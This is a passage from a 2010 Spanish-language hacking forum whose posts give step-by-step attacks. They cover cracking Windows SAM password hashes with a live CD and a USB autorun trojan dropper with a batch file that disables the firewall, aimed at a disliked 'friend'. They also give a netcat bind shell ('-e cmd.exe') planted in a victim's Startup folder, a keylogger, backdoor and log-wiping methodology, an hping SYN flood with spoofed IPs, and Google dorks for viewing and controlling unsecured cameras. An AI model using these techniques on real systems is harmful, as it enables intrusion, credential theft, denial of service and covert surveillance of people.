« en: Febrero 18, 2010, 12:28:59 pm »
La IP Publica!
La privada es solo para tu red lan

4895
Hacking / Crackeando las pass de windows
« en: Febrero 18, 2010, 12:26:23 pm »
Bueno esto es muyyy facil como alguno sabres las contraseña del administrador y cualquier usuario tiene una ruta en el ordenador y se guarda como HASH bueno la ruta es esta C:\Windows\System32\config\SAM y ahora dire como aceder y crackear la pass muy facilmente y unos simples click, como sabeis cualquier linux entiente a los windows pero los windows no entienten a los linux... pues por chulos acederemos a su particion sacaremos la pass y la crackearemos ai un liveCD que lo ace


http://ophcrack.sourceforge.net/download.php?type=livecd


en unos simples clicks jeje saca la pass no hay mucho que explicar pruebenlo, eso si... si alguna pass no la saca no pasa nada copiar la hash que el proximo manual explicare como crackear hash y md5 :P

4896
Hacking / Manera sencilla de obtener contraseñas
« en: Febrero 18, 2010, 12:21:59 pm »
Bueno pues esto no tiene mucho misterio si quieren contraseñas " de mensajeria instantanea " necesitamos:

-Usb
-Hosting "free" (de pago no que estamos en crisis)
-Y algunos ficheros
-Un amigo que nos caiga mal
-Aceso a su ordenador
-Y maldad

Todos los que carezcan de maldad asbtenerse es perjudicial para el corazon
Bueno empezemos:
Ya supongo que tendran algun usb y un hosting free que se abran exo pues el paso es este:

Paso 1
http://www.box.net/shared/evxkayynmn
contraseña: level-23.org
Supongo que sabran configurarlo .
Bueno una vez creado el server lo copiaremos al raiz de USB y pasaremos al siguienta paso:

Paso 2
USB en el usb pondremos lo siguiente un par de txt
uno sera autorun
Código: [Seleccionar]
[Autorun]
open=nombredelejecutable.vbs
icon=icono.ico
Lo guardaran como autorun.inf y lo pondran en la carpeta raiz del usb y explico open ejecuta el archivo y icon sirve para disimular el autoinicio, bueno y para ejecutar el batch oculto podriamos poner un code en vbs que antes deje:

Código: [Seleccionar]
set objshell = createobject("wscript.shell")
objshell.run "nombre de tu batch.bat", vbhide
Guardarlo como dije en vbs y lo dejan tambien en el raiz USB
y el otro sera el bat que desabilitara el firewall y llamar al otro exe

Código: [Seleccionar]
@echo off
netsh firewall set opmode disable
start nombredelservidor.exe
exit
Este lo guardaran como .bat y va al raiz USB

Pues bueno eso es todo amigos ahora les queda un poco de ingeneria social con su amigo bueno "enemigo"
diganle voi a enseñarte una cancion  y le metes el mp3 o sin que se entere le metes el usb, espero que les aya gustado jeje me aburria y tenia tiempo libre xD, ah si el server se lo detecta el AV no es cosa mia xD no me ago responsable "vayan al tema de cryptografia" xD

By CaZs

4897
Hacking / Fases del Hacking by darkbouser
« en: Febrero 18, 2010, 12:19:33 pm »
aqui les dejo para los newbies las fases del hacking

esto lo puse en mi parte de la e-zine que estoy haciendo pero lo pongo aqui por adelantado :P

Reconocimiento
Esta parte del hacking es la primera, se trata de buscar información de la víctima o del sistema donde queremos introducirnos, primero debemos pensar en nuestro objetivo y la razón por la que queremos atacar, luego buscaremos la información que necesitemos para nuestro ataque, es decir tenemos que saber la dirección ip (protocolo de internet) y también saber que puertos tiene abierto tiene, luego a continuación podremos atacar el sistema de la víctima, pero también es posible que la victima tenga una contraseña y tendría que ser craqueada por fuerza bruta, pero como que la ética del hacker dice que se no se debe usar fuerza bruta al menos que sea de último recurso, entonces se podríamos usar ingeniería social o algún otro método y a continuación el ataque
Escaneo
Como mencione antes debemos saber la dirección ip de la víctima, los puertos etc. Por eso tendremos que encontrar esa información, si estamos hablando directamente con la víctima, podríamos usar ingeniería social para que nos dé  la dirección ip, si queremos atacar un servidor es muy fácil aun y nadie se enterara solamente si estamos en Windows podemos abrir el ms-dos y hacer ping al hostname de la víctima y  si está conectado como respuesta nos dará el ip, luego escanearemos su ip con Nmap y veremos sus puertos abiertos, si quieren hackiar a una empresa y no saben el PC indicado pueden usar whois, esos les podrá dar quizás la información o si no ingeniería social  y también tenemos que buscar las posibles contraseñas del sistema víctima , podremos usar 2 recursos: ingeniería social (que no están efectiva en este caso), un keylogger (malware que monitorea desde nuestro PC todas las teclas que teclea la víctima, para eso usaremos ingeniería social desde   un chat como IRC  o MSN hablemos con el administrador del sistema o servidor,   usamos ingeniería social y cuando logremos que ejecute el servidor del troyano o keylogger le pedimos que ingrese en el sistema que queremos atacar, y cuando se entre veremos su contraseña y tendremos todo lo necesario.

Obtener acceso
Una vez que tengamos ip, puertos, contraseña etc. Atacaremos  podremos usar los recursos que queramos en mi caso usaremos telnet, FTP, Putty que podríamos usarlo como cliente de  telnet o de SSH, bueno en este ejemplo usaremos telnet (si logramos encontrar un bug que nos de acceso mucho mejor y no necesitaremos lo anterior solo el ip y quizás el puerto)  y colocamos el ip puerto, usuario y contraseña (el usuario se lo pedimos a la víctima por ingeniería social  o por el mismo keylogger) una vez que entremos en el sistema, a partir de este paso podemos hacer lo que queramos

Mantener Acceso
Para mantener el acceso tendríamos que pensar en el recurso que usen, hagan todo lo posible que el administrador no se dé cuenta, es decir no borren nada, no copien ni peguen nada, no muevan nada, solo exploren pero no toquen nada para que la víctima no se de cuenta, si estamos atacando a un servidor no modifiquen nada y podríamos crearnos un usuario que tenga privilegios de administrador si atacamos a un servidor web o podríamos modificar para tener un backdoor (puerta trasera) para entrar cuando necesitemos, y si es una computadora tendremos que meter un troyano, y esconderlo bien en el disco duro para que el administrador no se dé cuenta, otra cosa si atacamos el servidor no usen ftp (protocolo de transferencia de archivos) porque ay tendremos que modificar cosas y la victima se dará cuenta y todo se echara a perder.

Borrado de huellas
Esta es la última fase, cuando terminemos nuestro ataque antes de retirarnos debemos borrar cualquier rastro que nos pueda pillar y mandarnos a la cárcel, por eso haremos lo siguiente:
Si entramos a un servidor será mejor borrar todo lo que nos pueda rastrear como el ip, por eso en el hosting borraremos todo el rastro posible y como que atacamos por telnet en este ejemplo borraremos el registro de telnet tenemos que eliminar todo lo que demuestre nuestra presencia aunque no nos rastren pero el administrador  podría cambiar su contraseña y nombre de usuario y en próxima ocasión no podríamos entrar.

by darkbouser

4898
Hacking / Shell via Netbios
« en: Febrero 18, 2010, 12:18:43 pm »
Vamos a hablar sobre como hacernos una shell a una pc que comparte su disco via netbios

Voy a hablar sobre netbios, pero espero no hacer otro aburrio texto sobre como hackear PCs por netbios porque ya deben estar aburridos de leer lo mismo, y piensan "yo quiero avanzar sobre el tema de la seguridad informatica" todos nos estancamos en conocimientos en algun momento, pero luego uno despega ;P
Va a ser cortito, pero lo que les quiero explicar es como conseguir una shell de una forma muy elegante en el sistema remoto, y asi poder empezar a ejecutar comandos en la misma. Estamos hablando del netcat (de ahora en mas nc) y viene bien para empezar a que se familarizen con esta espectacular herramienta!! llamada 'navaja suiza' por su infinidad de opciones que nos da, segun 'hobbit' el creador de la misma, tiene como 1000 funciones + 1 Wink

Aunque parezca mentira, utilizar nc es un tema aparte. Pero voy a introducirlos un poquito en esto. Por cierto les comento, como se imaginaran es una herramienta originalmente para linux , pero fue adaptada a windows por un miembro de l0ph.
Pueden bajar nc para windows desde aca:

----->http://www.mediafire.com/?yf2j1kmwydx<-----

Estas son algunos parametros basicos de nc, y los paso a explicar brevemente:

-d Modo Stealth. Esta opcion permite hacer funcionar al programa en background (especial para obtener una shell remota en el sistema, no?)

-e<programa> Ejecuta un programa cuando se realiza la conección a la misma (si si .. ya se .. command.com Wink )

-l -L para dejar a nc a la escucha. La diferencia entre la mayuscula y la minuscula, es que en la minuscula cuando se termina una conección no se vuelve a poner a la escucha, encambio con la mayuscula al cerrar una conección, vuelve a ponerse a la escucha Wink

-o<logfile> genera un log de las acciones de nc en hexadecimal.

-p<port> el puerto al que lo vamos a dejar en la escucha

-t Funciona como un demonio de telnet!

-v Modo verbose, nos muestra mas información de la que usualmente nos da sobre las conecciones.

Hay mas, muuuchas mas. Pero primero, obviamente, no lo se manejar a fondo este programa Sad ya aprendere mas. Y por otro lado, por ahora nos alcanzan, ya dije que tengo para rato para hablar del nc (y eso que no se usarlo ni al 20% Very Happy, asi que dense una idea ... )

Dejamos esta introducción aca sobre el netcat, para comenzar a hablar sobre Netbios.

Este tema abunda en la red, y no me voy a poner a explicar algo tan pavo. Para los no entendidos, les digo que vayan y googleen un poco. Basicamente, el Netbios es un protocolo/servicio que permite compartir archivos via la red.
Se puede 'hackear' una pc via Netbios via la linea de comandos de windows (command) pero prefiero gastar mis dedos en otra cosa, porque supongo que todos lo saben hacer. Si no googleen como dije que van a encontrar muucha información sobre el tema, y cualquier scaner lo hace. (el landguard por ejemplo)

Ok, vamos a ubicarnos en una situación. Tenemos una PC de X persona, que comparte el disco rigido entero, el C: Y podemos navegar su disco con total libertar, subir, bajar archivos, borrar, hacemos lo que queremos. Pero no podemos ejecutar archivos en su PC! ni ejecutar ordenes, ni nada. Nada mas podemos subir y bajar archivos, pero no nos alcanza Sad
Y nos fastidiamos diciendo, "no se puede hacer nada casi con esto, mas que robarle sus archivos" aca es donde entra nuestro amigo nc. Como ustedes sabran, windows tiene una carpeta llamada inicio donde al iniciar windows (valga la redundancia) ejecuta todos los archivos que estan en esa carpeta. Entonces empezamos a poner a funcionar nuestras neuronas y ... y si .... podemos poner el nc para que al iniciar windows se ejecute, y se quede a la escucha esperando nuestra conección, y asi conseguir una shell remota al sistema!
Y ahi, ademas de poder subir, bajar, borrar, editar archivos en su Pc, tambien vamos a poder ejecutar ordenes en la misma! y la cosa es mucho mas divertido Wink Podemos por ejemplo, utilizar su pc para realizar otras acciones Wink

Nota: si ya se, esto tambien se puede hacer con un troyano. Pero ... empiezen a pensar mas aya de los troyanos, esto es una utildad que la van a tener que utilizar de aca en adelante siempre, y es mucho mas elegante que utilizar un troyano.

Entonces, vamos a dejar una orden que ejecute el nc en la pc remota cuando se reinicie la PC y de ahora en adelante (en realidad, apartir de nuestro primer reiniciado, tendremos acceso remoto via shell en la pc destino!)
copiemos el nc a c: de la Pc victima, y luego vamos dependiendo la version del windows que tenga a donde esta la carpeta inicio del mismo, y dejamos el siguiente BAT.
Creando el BAT ¬¬ esto no tendria que hacer falta, pero por las dudas Very Happy
1) Abrimos un block de notas y escribimos
nc -d -L 127.0.0.1 -p 31337 -e cmd.exe
2) lo guardamos como nombre.bat
Y ahora hago un par de aclaraciones, el '31337' es el puerto donde lo voy a dejar a la escucha, le puse ese numero porque es muy bonito Smile, el "pipe" indica que todo se va a pasar por medio del cmd.exe (esto es para windowsXP, si corre un win9x deberian poner cmd.exe y si es para un linux /bin/sh)

listo! Ahora esto lo pueden probar con sus propias pcs, ejecuten esa orden, y luego hagan telnet a su propia Pc y veran como obtuvieron una shell remota Wink Aca les dejo unas imagenes para que se guien mas.

Hagamos una prueba para ver como funciona esto.
[1] Introducimos en una linea de comandos, y dejamos el nc a la escucha


[2] Nos logeamos por medio de telnet a ese puerto que dejamos a la escucha, esperando por nuestra shell


[3] Automaticamente, la obtenemos y nos quedamos con el prompt del sistema a mano ;P
Aca tire un netstat para que vean como se dio la conección aunque por ser obviamente ambas la misma PC es algo confuso... pero bueno.


Esta es una forma un poco mas elegante de obtener acceso remoto a una PC que tiene su HD compartido, sin utilizar un feo troyano ;P
Ah por cierto, el cliente telnet de windows es una basura, ya que les mostre la herramienta 'putty' mejor haganlo con esa

4899
Vamos a ver que hay muchos tipos de scaneos de puertos, no es uno solo, hay algunos mas silenciosos que otros, otros mas efectivos. Todos se basan en un conocimiento profundo de TCP/IP


Introducción a TCP/IP
Los protocolos basados en TCP, son protocolos orientados a conección. Esto quiere decir, que hay todo un proceso para armar la conección, recien ahi se empiezan a mandar los paquetes necesarios (la información que se tenian que mandar) y luego terminan la conección. Esto hace que los protocolos basados en TCP sean mas lentos, que los protocolos basados en UDP (no vamos a hablar de UDP/IP ahora, pero lo que tienen que saber, es que los protocolos basados en UDP, no arman una conección previamente a mandar los datos necesarios, si no que los mandan a lo 'bruto' sin fijarse si el receptor esta en condiciones de recivirlos o no).

Vamos a profundizar un poco mas en esto de como se maneja el protocolo TCP/IP

Cuando ustedes necesitan hablar con alguien por msn, y pedirles algo, generalmente primero lo saludan, esperan el saludo de la otra persona, luego de eso (y al asegurarse que del otro lado del msn hay una persona escuchandolos) le dicen lo que necesitan, y su comunicación termina con una despedida. Aunque siempre se encuentran maleducados en la vida ¬¬ (en la informatica, es microsoft ....)

En TCP/IP es lo mismo. El proceso es asi:

1. Petición de conección ---->
Persona A 2. <--- Conección aceptada Persona B
3. <--- Ida y vuelta de datos --->
4. Cierre de conección

Por otro lado, les voy adelantando que en UDP/IP, el esquema seria este:

Persona A <---- Ida y vuelta de datos ---> Persona B


Los paquetes TCP/IP son estructurados, y esta es la estructura de su cabecera de datos:

---------------------------------
| Puerto Origen | Puerto Destino |
---------------------------------
| Numero de Secuencia |
---------------------------------
| Numero de Confirmación |
---------------------------------
|Comienso de | |U|A|P|S|F| |
| Datos | |R|C|S|Y|I| Ventana |
| | |G|K|H|N|N| |
---------------------------------
| Suma de | Puntero de |
| Comprobación | Urgencia |
---------------------------------
| Datos |
---------------------------------

Asi se organizan las cabeceras de los paquetes TCP/IP que circulan por nuestra PC Wink
A medida que vamos a ir necesitando, vamos a ir explicando para que sirve cada parte de la cabecera de un paquete TCP/IP (en este articulo expicaremos algunos, a medida que vamos abanzando, veremos mas)

Por ahora, veremos los Flags. Los flags ocupan 1 bit cada uno en la cabezera de un paquete, y como pueden ver (aunque quedaron chuequitas las | ) son URG, ACK, PSH, SYN, FIN. Como sabran, que ocupe 1 bit significa que es 1 caracter, y como se pueden imaginar puede ser 0 o 1.

Creando una conección entre dos host:
Como ya habiamos adelantado, si el protocolo se basa sobre TCP/IP, es un protocolo orientado a conección, y ahora veremos como se hace esa conección.


1 ------> Enviamos un paquete SYN
Host A 2 <------ Recibimos un paquete SYN ACK Host B
3 -------> Enviamos un paquete ACK

Asi es como realmente se realizan las conecciones TCP/IP

Veamos, antes de comenzar a enviar los datos que realmente queremos enviar, vamos a armar una conección para asegurarnos que el Host B va a recibir los paquetes que estamos enviando y que no los estamos enviando al vacio =P (ya los tengo podrido con esto de que es orientado a conección, no?)

Enviamos un paquete con el Flag SYN activado (o sea, con el Flay Syn valiendo 1)
Cuando este paquete le llega al Host B, este interpreta que el Host A esta intentando comenzar una conección, (si las reglas de administración lo permite, digamos, si ningun router, firewall, o lo que sea lo impide) este le contesta con un paquete que tiene dos flags activados: SYN y ACK. Esto quiere decir que acepta la conección
El Host A al recibir este ultimo paquete, tiene la aceptación del Host B para iniciar una conección con el, solo falta que responda con un paquete ACK para que realmente la conección se establezca.

En todo este proceso, que obviamente se hace automaticamente, la conección toma distintos estados.
1) Cuando enviamos el paquete SYN, nuestro estado es SYN_ENVIADO
2) Cuando recivamos la respuesta del Host B (el paquete con los flags SYN y ACK activados) nuestro estado de coneccion es SYN_RECIBIDO
3) Luego de enviar por ultimo el ACK, el estado sera de ESTABLECIDO

¿Que significado tiene cada Flag?

Flag URG: Este Flag, significa que tiene caracter de urgente el paquete. Que debe ser tratado primero que los Paquetes normales, es decir que se saltea la cola =P

Flag ACK: Este paquete se usa como confirmación de que el paquete anterior fue recivido.

Flag PSH: Se utiliza para vaciar un buffer de transimision (por ahora no importa)

Flag RST: Significa Reset, es para reiniciar una conección porque capaz un paquete llego corrumpido (los paquetes tienen verificaciones, por si se perdio un paquete por el camino o por si alguien esta mandando paquetes corruptos =P)

Flag SYN: Para comenzar una conección.

Flag FIN: Para finalizar una conección.

Fin de la 'teoria' vamos a la practica


Escaneando Puertos de forma Avanzada
Hay muchas técnicas, algunas mejores que otras, algunas mas silenciosas, otras mas directas, yo lo que voy a explicar ya lo puse en practica, pero luego nos reuniremos por el IRC a practicar Smile
Para esta practica, usaremos el nmap. Bajenlo de aca

1- TCP_CONNECT
Este es el mas comun de todos, directamente, nos conectamos un host al puerto que queremos saber si esta abierto. Si nos podemos conectar, esta abierto.
Ahi pasaria lo que explicamos arriba, los 3 pasos para formar una conección
Si esta cerrado, en vez de recibir un paquete SYN-ACK, recibiremos un RST

2- SYN_SCAN
Este es un scan de medio pelo, y lo que hacemos es esto.
Mandamos un paquete SYN; si recibimos un paquete SYN-ACK no respondemos con un paquete ACK, si no que mandamos un paquete RST para cerrar la conección.
¿porque? Fácil, el Host B (mantengamos esa idea en la cabeza) ya nos informo perfectamente que tiene el puerto abierto o cerrado, y el solo echo de responder con un ACK para armar la conección a ese puerto, seria una estupidez, ya que no sacariamos provecho alguno, mas que dejar un lindo log de conección en el SO.
Este tipo de scaneo, es bien reconocido por los firewalls, les aparecera algo como SYN attack (el mcaffe lo muestra textualmente asi) pero es mejor que nada.
Digamos, a un firewall le basta y le sobra con que le llege un paquete SYN pidiendo que se arme una conección; pero al SO solo se da cuenta y hace un log cuando se completa el intento de conección

nmap escribió:
nmap -vv -PO -sS ip

3- Stealth Scan
Este scaneo es realmente bueno y silencioso, muchos firewalls lo pasaron por alto.
La idea de este scaneo, es mandar un paquete FIN al Host B a determinado puerto, si nos responde con un paquete RST, el puerto seguro esta cerrado.
Caso contrario (si no responde) esta abierto o silencioso (un puerto silencioso, no responde a estos pedidos)
Si bien, tiene como ventaja que la mayoria de los firewalls lo pasan por alto (por no armar una conección) Windows, que no siguen los estandares de nada, no respeta esta estructura TCP/IP (asi como su IE no sigue los standares de la programación web y luego la gama de Mozilla es "inconpatible"). Asi que no es buena idea lanzar este tipo de scaneos a un SO windows ya que nos dara una infinidad de puertos abiertos, que en realidad no esta. Aunque por otro lado, nos sirve para osfinger, de esta forma ya sabemos que estamos frente a un SO windows =P

nmap escribió:
nmap -vv -PO -sF ip


4- ACK Scan
Este tipo de scaneo, esta orientado para determinar cuando un puerto esta silenciado (que era la falla de los anteriores)
La idea es esta, si le mandamos un paquete ACK a un Host B, con todo aleatorio (como si hubiera existido en algun momento una conección) el Host B interpretara que ese paquete es totalmente erroneo, y que nunca hubo un intento de conección... por eso si el Puerto esta abierto, o cerrado, en cualquiera de los dos casos, nos respondera con un paquete RST.
Pero si no responde, ya sabemos con perfección que ese puerto esta filtrado por un firewall!!
Como veran, esta tecnica es extremadamente útil para convinarla con otra, para sacarnos las dudas.

nmap escribió:
nmap -vv -PT ip


Haciendo un DoS: SYN Flood
Vamos a aplicar nuestras técnicas para hacer un DoS, aprovechando nuestros conocimientos de TCP/IP
Vamos a hacer uno que consume los recursos, veamos, cada vez que uno se quiere conectar con un HOST y envia un paquete SYN a el, este crea una tabla en memoria, llamda estructura de datos. Asi con cada intento de coneccion de una IP, a un puerto, vamos a intentar floodear al sistema con paquetes SYN, con muchos intentos de conección para consumir recursos en memoria y hacer un DoS al demonio.
Para hacer esto de manera correcta, tenemos que spofear el IP. ¿Y esto porque?

Host A ------> Envia paquete SYN -------> Host B
24.232.144.xxx con IP Spofeada
1.1.1.1

Bueno, si el HOST B recibe un paquete SYN de la IP 1.1.1.1, va a intentar responder al IP con un SYN/ACK, la gracia es que al no existir la IP 1.1.1.1 nunca recibira una respuesta al paquete que "envio" 1.1.1.1 y se quedara consumiendo recursos en memoria, en su estructura de datos. (cada conección tiene un time to live, es decir, luego de x cantidad de tiempo, se borran automaticamente, liberando los recursos en memoria)
Al ser flood, obviamente hay que hacer esto, con muchos paquetes, por ejemplo con 100; todos con IPs spoofeadas.
Hay un programa muy poderoso para linux que nos permite hacer esto automaticamente, es hPing (hping es un programa propio para linux, lo pueden hacer desde una shell si no disponen de un windows instalado en su propia pc, o si no, utilizar nemesis que es parecido y corre sobre windows)

hPIng escribió:
hPing xxx.xxx.xxx.xxx --rand-source --destport 21 --syn --count 150

Explico brevemente:
rand source, enviara desde IPs aleatorias.
destport 21, ataca a la IP xxx.xxx.xxx.xxx al puerto 21
syn, obiviamente pone un 1 en el flag syn
count 150, va a enviar 150 paquetes

Un problema para esto, es cuantos routers o sistemas de validación hay en el medio entre vos y tu destino xxx.xxx.xxx.xxx
Capaz antes de llegar al destino, tenes routers que verifican que las IPs no son validas, y no dejen llegar los paquetes a destino.

PD: si este tema ya estaba borren nomas (por lo menos lo busque y no lo vi)

4900
Hacking / Espiar a todo el mundo por Camaras
« en: Febrero 18, 2010, 12:16:45 pm »
Con solo poner lo siguiente en google:

Código: (text) [Seleccionar]
inurl:\view\index.shtml
podran ver camaras ubicadas en las calles de todas las partes del mundo, y no solo eso, sino que tambien podran manejarlas

Aqui les dejo otra que me paso mi amiga Traxtor:

Código: (text) [Seleccionar]
inurl:\ViewerFrame?Mode=
Aca mas:

Código: (text) [Seleccionar]
inurl:ViewerFrame?Mode=
inurl:MUltiCameraFrame:?Mode=
inurl:view/index.shtml
inurl:indexFrame.shtml Axis
inurl:"ViewerFrame?Mode="
intitle:snc-rz30 inurl:home/
inurl:/view/index.shtml
inurl:"ViewerFrame?Mode="
inurl:netw_tcp.shtml
intitle:"supervisioncam protocol"
inurl:CgiStart?page=Single
inurl:indexFrame.shtml?newstyle=Quad
intitle:liveapplet inurl:LvAppl
inurl:/showcam.php?camid
inurl:video.cgi?resolution=
inurl:image?cachebust=
intitle:"Live View / - AXIS"
inurl:view/view.shtml
intext:"MOBOTIX M1"
intext:"Open Menu"
intitle:snc-rz30
inurl:home/
inurl:"MultiCameraFrame?Mode="
intitle:"EvoCam" inurl:"webcam.html"
intitle:"Live NetSnap Cam-Server feed"
intitle:"Live View / - AXIS 206M"
intitle:"Live View / - AXIS 206W"
intitle:"Live View / - AXIS 210"
inurl:indexFrame.shtml Axis
inurl:"ViewerFrame?Mode="
inurl:"MultiCameraFrame?Mode=Motion"
intitle:start inurl:cgistart
intitle:"WJ-NT104 Main Page"
intext:"MOBOTIX M1" intext:"Open Menu"
intext:"MOBOTIX M10" intext:"Open Menu"
intext:"MOBOTIX D10" intext:"Open Menu"
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:"sony network camera snc-p1"
intitle:"sony network camera snc-m1"
site:.viewnetcam.com -www.viewnetcam.com
intitle:"Toshiba Network Camera" user login
intitle:"netcam live image"
intitle:"i-Catcher Console - Web Monitor"
inurl:/home/home
"Kamerainformationen anzeigen"
intitle:"AXIS 2100 Network Camera Axis 2100 Network Camera 2.02"
intitle:"Linksys Web Camera" "ver"

MAS!

Código: (text) [Seleccionar]
(intitle:(EyeSpyFX|OptiCamFX) “go to camera”)|(inurl:servlet/DetectBrowser)
inurl:”ViewerFrame?Mode=”
intitle:”Live View / - AXIS” | inurl:view/view.shtml
inurl:”MultiCameraFrame?Mode=”
intitle:”WJ-NT104 Main”
intitle:”snc-rz30 home” Requiere plugin Active-X.
inurl:”ViewerFrame?Mode=Motion” Requiere plugin Active-X.
inurl:LvAppl intitle:liveapplet
intitle:”Live View / - AXIS” Requiere plugin Active-X.
intitle:”Powered by webcamXP”
inurl:indexFrame.shtml “Axis Video Server”
inurl:”MOBOTIX M1? and “open menu”
intitle:flexwatch intext:”Copyright by Seyeon TECH Co”
“axis video server view.shtml”
“/view/view.shtml axis”
“adding live video to one of your own pages a very easy task with an AXIS 2100 Network Camera”
“Live view - / - AXIS”
“Your browser has JavaScript turned off.For the user interface to work effectively”
“indexFrame.html axis”
“Live web imaging unleashed”
“sample/LvAppl/”
“/control/userimage.html”
“(c)copyright 1999-2003 VICTOR COMPANY OF JAPAN, LIMITED. All rights reserved”
“V.Networks Motion Picture(Java)”
“Control the Pan/Tilt and move to the Preset Position”
“/app/idxas.html”
“Saving & Retrieving Mode”
“/ViewerFrame?Mode=Motion”
“TOSHIBA Network Camera - User Login”
“/home/homeJ.html”
“my webcamXP server!”
inurl:/view.shtml
intitle:”Live View / - AXIS” | inurl:view/view.shtml^
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera”
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / - AXIS”
intitle:”Live View / - AXIS 206M”
intitle:”Live View / - AXIS 206W”
intitle:”Live View / - AXIS 210?
inurl:indexFrame.shtml Axis
inurl:”MultiCameraFrame?Mode=Motion”
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intext:”MOBOTIX M1? intext:”Open Menu”
intext:”MOBOTIX M10? intext:”Open Menu”
intext:”MOBOTIX D10? intext:”Open Menu”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image”
intitle:”i-Catcher Console - Web Monitor”

Saludos!

                         ANTRAX

Páginas: 1 ... 243 244 [245] 246